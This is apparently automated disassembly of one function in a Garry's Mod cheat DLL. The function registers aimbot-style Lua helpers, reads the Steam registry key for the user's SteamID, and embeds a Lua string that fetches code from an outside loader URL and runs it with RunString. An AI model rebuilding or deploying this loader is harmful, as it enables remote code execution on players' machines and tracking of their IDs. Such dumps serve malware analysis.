Function at 0x180006a60
Capabilities:
Query or enumerate registry key

Disassembly:
mov qword [rsp + 0x20], rbx
push r14
sub rsp, 0x1c0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x1b0], rax
mov rcx, qword [0x18000c710]
xor edx, edx
mov rax, qword [rcx]
call qword [rax + 0x130]
mov rcx, qword [0x18000c710]
lea rdx, [0x1800061c0]
mov rax, qword [rcx]
call qword [rax + 0x100]
mov rcx, qword [0x18000c710]
lea r8, str.IsOnGround
mov edx, 0xfffffffe
mov rax, qword [rcx]
call qword [rax + 0x28]
mov rcx, qword [0x18000c710]
lea rdx, [0x180005e10]
mov rax, qword [rcx]
call qword [rax + 0x100]
mov rcx, qword [0x18000c710]
lea r8, str.GetBonePosition
mov edx, 0xfffffffe
mov rax, qword [rcx]
call qword [rax + 0x28]
mov rcx, qword [0x18000c710]
lea rdx, [0x180005c70]
mov rax, qword [rcx]
call qword [rax + 0x100]
mov rcx, qword [0x18000c710]
lea r8, str.LookupBone
mov edx, 0xfffffffe
mov rax, qword [rcx]
call qword [rax + 0x28]
mov rcx, qword [0x18000c710]
lea rdx, [0x180005360]
mov rax, qword [rcx]
call qword [rax + 0x100]
mov rcx, qword [0x18000c710]
lea r8, str.GetShootingPos
mov edx, 0xfffffffe
mov rax, qword [rcx]
call qword [rax + 0x28]
mov rcx, qword [0x18000c710]
lea rdx, [0x180005130]
mov rax, qword [rcx]
call qword [rax + 0x100]
mov rcx, qword [0x18000c710]
lea r8, str.SetEyeAngles
mov edx, 0xfffffffe
mov rax, qword [rcx]
call qword [rax + 0x28]
mov rcx, qword [0x18000c710]
lea rdx, [0x180006050]
mov rax, qword [rcx]
call qword [rax + 0x100]
mov rcx, qword [0x18000c710]
lea r8, str.EntityHealth
mov edx, 0xfffffffe
mov rax, qword [rcx]
call qword [rax + 0x28]
mov rcx, qword [0x18000c710]
lea rdx, [0x180001b90]
mov rax, qword [rcx]
call qword [rax + 0x100]
mov rcx, qword [0x18000c710]
lea r8, str.GetMessageID
mov edx, 0xfffffffe
mov rax, qword [rcx]
call qword [rax + 0x28]
mov rcx, qword [0x18000c710]
lea rdx, [0x180001db0]
mov rax, qword [rcx]
call qword [rax + 0x100]
mov rcx, qword [0x18000c710]
lea r8, str.GetIDMessage
mov edx, 0xfffffffe
mov rax, qword [rcx]
call qword [rax + 0x28]
mov rcx, qword [0x18000c710]
lea rdx, [0x180001f50]
mov rax, qword [rcx]
call qword [rax + 0x100]
mov rcx, qword [0x18000c710]
mov rax, qword [rcx]
lea r8, str.IsClientLua
mov edx, 0xfffffffe
call qword [rax + 0x28]
mov rcx, qword [0x18000c710]
lea rdx, [0x180002400]
mov rax, qword [rcx]
call qword [rax + 0x100]
mov rcx, qword [0x18000c710]
lea r8, str.netStart
mov edx, 0xfffffffe
mov rax, qword [rcx]
call qword [rax + 0x28]
mov rcx, qword [0x18000c710]
lea rdx, [0x180002680]
mov rax, qword [rcx]
call qword [rax + 0x100]
mov rcx, qword [0x18000c710]
lea r8, str.netSendToServer
mov edx, 0xfffffffe
mov rax, qword [rcx]
call qword [rax + 0x28]
mov rcx, qword [0x18000c710]
lea rdx, [0x180002710]
mov rax, qword [rcx]
call qword [rax + 0x100]
mov rcx, qword [0x18000c710]
lea r8, str.netWriteBit
mov edx, 0xfffffffe
mov rax, qword [rcx]
call qword [rax + 0x28]
mov rcx, qword [0x18000c710]
lea rdx, [0x1800027f0]
mov rax, qword [rcx]
call qword [rax + 0x100]
mov rcx, qword [0x18000c710]
lea r8, str.netWriteBool
mov edx, 0xfffffffe
mov rax, qword [rcx]
call qword [rax + 0x28]
mov rcx, qword [0x18000c710]
lea rdx, [0x1800028d0]
mov rax, qword [rcx]
call qword [rax + 0x100]
mov rcx, qword [0x18000c710]
lea r8, str.netWriteColor
mov edx, 0xfffffffe
mov rax, qword [rcx]
call qword [rax + 0x28]
mov rcx, qword [0x18000c710]
lea rdx, [0x180002b70]
mov rax, qword [rcx]
call qword [rax + 0x100]
mov rcx, qword [0x18000c710]
lea r8, str.netWriteData
mov edx, 0xfffffffe
mov rax, qword [rcx]
call qword [rax + 0x28]
mov rcx, qword [0x18000c710]
lea rdx, [0x180002db0]
mov rax, qword [rcx]
call qword [rax + 0x100]
mov rcx, qword [0x18000c710]
lea r8, str.netWriteDouble
mov edx, 0xfffffffe
mov rax, qword [rcx]
call qword [rax + 0x28]
mov rcx, qword [0x18000c710]
lea rdx, [0x180002e90]
mov rax, qword [rcx]
call qword [rax + 0x100]
mov rcx, qword [0x18000c710]
lea r8, str.netWriteFloat
mov edx, 0xfffffffe
mov rax, qword [rcx]
call qword [rax + 0x28]
mov rcx, qword [0x18000c710]
lea rdx, [0x180002f70]
mov rax, qword [rcx]
call qword [rax + 0x100]
mov rcx, qword [0x18000c710]
mov rax, qword [rcx]
lea r8, str.netWriteInt
mov edx, 0xfffffffe
call qword [rax + 0x28]
mov rcx, qword [0x18000c710]
lea rdx, [0x180003160]
mov rax, qword [rcx]
call qword [rax + 0x100]
mov rcx, qword [0x18000c710]
lea r8, str.netWriteString
mov edx, 0xfffffffe
mov rax, qword [rcx]
call qword [rax + 0x28]
mov rcx, qword [0x18000c710]
lea rdx, [0x180003480]
mov rax, qword [rcx]
call qword [rax + 0x100]
mov rcx, qword [0x18000c710]
lea r8, str.netWriteTable
mov edx, 0xfffffffe
mov rax, qword [rcx]
call qword [rax + 0x28]
mov rcx, qword [0x18000c710]
lea rdx, [0x180003840]
mov rax, qword [rcx]
call qword [rax + 0x100]
mov rcx, qword [0x18000c710]
lea r8, str.netWriteUInt
mov edx, 0xfffffffe
mov rax, qword [rcx]
call qword [rax + 0x28]
mov rcx, qword [0x18000c710]
lea rdx, [0x180003ac0]
mov rax, qword [rcx]
call qword [rax + 0x100]
mov rcx, qword [0x18000c710]
lea r8, str.netWriteVector
mov edx, 0xfffffffe
mov rax, qword [rcx]
call qword [rax + 0x28]
mov rcx, qword [0x18000c710]
lea rdx, [0x180003c70]
mov rax, qword [rcx]
call qword [rax + 0x100]
mov rcx, qword [0x18000c710]
lea r8, str.entsFindByClass
mov edx, 0xfffffffe
mov rax, qword [rcx]
call qword [rax + 0x28]
mov rcx, qword [0x18000c710]
lea rdx, [0x180004390]
mov rax, qword [rcx]
call qword [rax + 0x100]
mov rcx, qword [0x18000c710]
lea r8, str.LocalPlayerEntIndex
mov edx, 0xfffffffe
mov rax, qword [rcx]
call qword [rax + 0x28]
mov rcx, qword [0x18000c710]
lea rdx, [0x1800040b0]
mov rax, qword [rcx]
call qword [rax + 0x100]
mov rcx, qword [0x18000c710]
lea r8, str.EntityGetWepons
mov edx, 0xfffffffe
mov rax, qword [rcx]
call qword [rax + 0x28]
mov rcx, qword [0x18000c710]
lea rdx, [0x180001ee0]
mov rax, qword [rcx]
call qword [rax + 0x100]
mov rcx, qword [0x18000c710]
lea r8, str.ExecuteOnClient
mov edx, 0xfffffffe
mov rax, qword [rcx]
call qword [rax + 0x28]
mov rcx, qword [0x18000c710]
lea rdx, [0x1800047b0]
mov rax, qword [rcx]
call qword [rax + 0x100]
mov rcx, qword [0x18000c710]
mov rax, qword [rcx]
lea r8, str.PlayerNick
mov edx, 0xfffffffe
call qword [rax + 0x28]
mov rcx, qword [0x18000c710]
lea rdx, [0x180005590]
mov rax, qword [rcx]
call qword [rax + 0x100]
mov rcx, qword [0x18000c710]
lea r8, str.EntityGetPos
mov edx, 0xfffffffe
mov rax, qword [rcx]
call qword [rax + 0x28]
mov rcx, qword [0x18000c710]
lea rdx, [0x1800057a0]
mov rax, qword [rcx]
call qword [rax + 0x100]
mov rcx, qword [0x18000c710]
lea r8, str.VectorToScreen
mov edx, 0xfffffffe
mov rax, qword [rcx]
call qword [rax + 0x28]
mov rcx, qword [0x18000c710]
lea rdx, [0x180004520]
mov rax, qword [rcx]
call qword [rax + 0x100]
mov rcx, qword [0x18000c710]
lea r8, str.Distance
mov edx, 0xfffffffe
mov rax, qword [rcx]
call qword [rax + 0x28]
mov rcx, qword [0x18000c710]
lea rdx, [0x180001fa0]
mov rax, qword [rcx]
call qword [rax + 0x100]
mov rcx, qword [0x18000c710]
lea r8, str.FileExists
mov edx, 0xfffffffe
mov rax, qword [rcx]
call qword [rax + 0x28]
mov rcx, qword [0x18000c710]
lea rdx, [0x180002270]
mov rax, qword [rcx]
call qword [rax + 0x100]
mov rcx, qword [0x18000c710]
lea r8, str.VarExists
mov edx, 0xfffffffe
mov rax, qword [rcx]
call qword [rax + 0x28]
mov rcx, qword [0x18000c710]
lea rdx, [0x180004bb0]
mov rax, qword [rcx]
call qword [rax + 0x100]
mov rcx, qword [0x18000c710]
lea r8, str.EntityIsValid
mov edx, 0xfffffffe
mov rax, qword [rcx]
call qword [rax + 0x28]
mov rcx, qword [0x18000c710]
lea rdx, [0x180004cb0]
mov rax, qword [rcx]
call qword [rax + 0x100]
mov rcx, qword [0x18000c710]
lea r8, str.GetAngleFromVector
mov edx, 0xfffffffe
mov rax, qword [rcx]
call qword [rax + 0x28]
mov rcx, qword [0x18000c710]
lea rdx, [0x180005b00]
mov rax, qword [rcx]
call qword [rax + 0x100]
mov rcx, qword [0x18000c710]
lea r8, str.PlayerAlive
mov edx, 0xfffffffe
mov rax, qword [rcx]
call qword [rax + 0x28]
mov rcx, qword [0x18000c710]
lea rdx, [0x180004ef0]
mov rax, qword [rcx]
call qword [rax + 0x100]
mov rcx, qword [0x18000c710]
mov rax, qword [rcx]
lea r8, str.GetNormalized
mov edx, 0xfffffffe
call qword [rax + 0x28]
mov rcx, qword [0x18000c710]
lea rdx, [0x1800049b0]
mov rax, qword [rcx]
call qword [rax + 0x100]
mov rcx, qword [0x18000c710]
lea r8, str.SteamID
mov edx, 0xfffffffe
mov rax, qword [rcx]
call qword [rax + 0x28]
mov rcx, qword [0x18000c710]
movsd xmm1, qword [0x18000a000]
mov rax, qword [rcx]
call qword [rax + 0xf0]
mov rcx, qword [0x18000c710]
lea r8, str.Gizeh_Ver
mov edx, 0xfffffffe
mov rax, qword [rcx]
call qword [rax + 0x28]
mov rcx, qword [0x18000c710]
lea rdx, [0x180003970]
mov rax, qword [rcx]
call qword [rax + 0x100]
mov rcx, qword [0x18000c710]
lea r8, str.RemoveHook
mov edx, 0xfffffffe
mov rax, qword [rcx]
call qword [rax + 0x28]
mov rcx, qword [0x18000c710]
lea rdx, [0x180006340]
mov rax, qword [rcx]
call qword [rax + 0x100]
mov rcx, qword [0x18000c710]
lea r8, str.UserID
mov edx, 0xfffffffe
mov rax, qword [rcx]
call qword [rax + 0x28]
mov rcx, qword [0x18000c710]
lea rdx, [0x1800064b0]
mov rax, qword [rcx]
call qword [rax + 0x100]
mov rcx, qword [0x18000c710]
lea r8, str.SteamID64
mov edx, 0xfffffffe
mov rax, qword [rcx]
call qword [rax + 0x28]
mov rcx, qword [0x18000c710]
lea rdx, [0x180006620]
mov rax, qword [rcx]
call qword [rax + 0x100]
mov rcx, qword [0x18000c710]
lea r8, str.steamworks.GetPlayerName
mov edx, 0xfffffffe
mov rax, qword [rcx]
call qword [rax + 0x28]
mov rcx, qword [0x18000c710]
lea rdx, [0x1800068e0]
mov rax, qword [rcx]
call qword [rax + 0x100]
mov rcx, qword [0x18000c710]
lea r8, str.game.GetIPAddress
mov edx, 0xfffffffe
mov rax, qword [rcx]
call qword [rax + 0x28]
mov rcx, qword [0x18000c710]
lea rdx, [0x1800069a0]
mov rax, qword [rcx]
call qword [rax + 0x100]
mov rcx, qword [0x18000c710]
lea r8, str.game.GetMap
mov edx, 0xfffffffe
mov rax, qword [rcx]
call qword [rax + 0x28]
mov rcx, qword [0x18000c710]
lea rdx, [0x180006840]
mov rax, qword [rcx]
call qword [rax + 0x100]
mov rcx, qword [0x18000c710]
mov rax, qword [rcx]
lea r8, str.GetHostName
mov edx, 0xfffffffe
call qword [rax + 0x28]
mov rcx, qword [0x18000c710]
lea rdx, [0x1800015a0]
mov rax, qword [rcx]
call qword [rax + 0x100]
mov rcx, qword [0x18000c710]
lea r8, str.cookie.Set
mov edx, 0xfffffffe
mov rax, qword [rcx]
call qword [rax + 0x28]
mov rcx, qword [0x18000c710]
lea rdx, [0x180001870]
mov rax, qword [rcx]
call qword [rax + 0x100]
mov rcx, qword [0x18000c710]
lea r8, str.cookie.GetString
mov edx, 0xfffffffe
mov rax, qword [rcx]
call qword [rax + 0x28]
mov rcx, qword [0x18000c710]
lea rdx, [0x180001450]
mov rax, qword [rcx]
call qword [rax + 0x100]
mov rcx, qword [0x18000c710]
lea r8, str.render.SetColorModulation
mov edx, 0xfffffffe
mov rax, qword [rcx]
call qword [rax + 0x28]
mov rcx, qword [0x18000c710]
lea rdx, [0x1800012b0]
mov rax, qword [rcx]
call qword [rax + 0x100]
mov rcx, qword [0x18000c710]
lea r8, str.render.SetBlend
mov edx, 0xfffffffe
mov rax, qword [rcx]
call qword [rax + 0x28]
mov rcx, qword [0x18000c710]
lea rdx, [0x180001380]
mov rax, qword [rcx]
call qword [rax + 0x100]
mov rcx, qword [0x18000c710]
lea r8, str.render.SuppressEngineLighting
mov edx, 0xfffffffe
mov rax, qword [rcx]
call qword [rax + 0x28]
mov rcx, qword [0x18000c710]
mov r14d, 1
mov edx, r14d
mov rax, qword [rcx]
call qword [rax + 0x10]
movzx eax, word [0x1800093e8]
lea r9d, [r14 + 7]
movups xmm0, xmmword [str.SoftwareValveSteamUsers]
mov word [rsp + 0x70], ax
lea rdx, [rsp + 0x58]
movzx eax, byte [0x1800093ea]
xor r8d, r8d
mov byte [rsp + 0x72], al
mov rcx, 0xffffffff80000001
movups xmmword [rsp + 0x58], xmm0
lea rax, [rsp + 0x40]
movsd xmm0, qword [0x1800093e0]
mov qword [rsp + 0x20], rax
movsd qword [rsp + 0x68], xmm0
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x18000746a
lea ebx, [r14 - 2]
jmp 0x180007584
mov qword [rsp + 0x1d0], rbp
xor ebx, ebx
mov qword [rsp + 0x1d8], rsi
mov ebp, ebx
mov qword [rsp + 0x1e0], rdi
mov esi, ebx
mov edi, ebx
mov dword [rsp + 0x48], 0x14
nop dword [rax]
nop word [rax + rax]
mov rcx, qword [rsp + 0x40]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
lea r9, [rsp + 0x48]
mov qword [rsp + 0x30], rbx
lea r8, [rsp + 0x78]
mov qword [rsp + 0x28], rbx
mov edx, edi
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
cmp ebp, dword [rsp + 0x50]
ja 0x1800074da
test esi, esi
je 0x1800074dc
mov esi, edi
mov ebp, dword [rsp + 0x54]
cmp eax, 0x103
je 0x1800074f6
inc edi
mov dword [rsp + 0x48], 0x14
cmp edi, 0xa
jle 0x1800074a0
mov rcx, qword [rsp + 0x40]
lea r9, [rsp + 0x48]
mov qword [rsp + 0x38], rbx
lea r8, [rsp + 0x78]
mov qword [rsp + 0x30], rbx
mov edx, esi
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
lea rcx, [rsp + 0x78]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov r9d, ebx
lea r8, str.STEAM_0:_d:_d
cdq
lea rcx, [rsp + 0x90]
sub eax, edx
mov edx, 0x14
sar eax, 1
mov dword [rsp + 0x20], eax
movd xmm0, eax
cvtdq2pd xmm0, xmm0
comisd xmm0, xmm0
cmova r9d, r14d
call fcn.180001090
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rdi, qword [rsp + 0x1e0]
mov rsi, qword [rsp + 0x1d8]
mov rbp, qword [rsp + 0x1d0]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r9d, ebx
lea rcx, [rsp + 0xb0]
mov r8d, eax
mov eax, 0x68db8bad
imul r8d
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x2710
lea rdx, str.timer.Simple_0.1__function___http.Fetch__https:__kevinbardot.alwaysdata.net______secure_area______loader_load.php_c_dsteamid_s___RunString__end_
sub r8d, eax
call fcn.180001030
mov rcx, qword [0x18000c710]
lea r9, [rsp + 0xb0]
mov byte [rsp + 0x28], r14b
lea r8, [0x1800093a0]
lea rdx, str.RunString
mov byte [rsp + 0x20], r14b
mov rax, qword [rcx]
call qword [rax + 0x2e0]
mov rcx, qword [rsp + 0x1b0]
xor rcx, rsp
call fcn.180007ca0
mov rbx, qword [rsp + 0x1e8]
add rsp, 0x1c0
pop r14
ret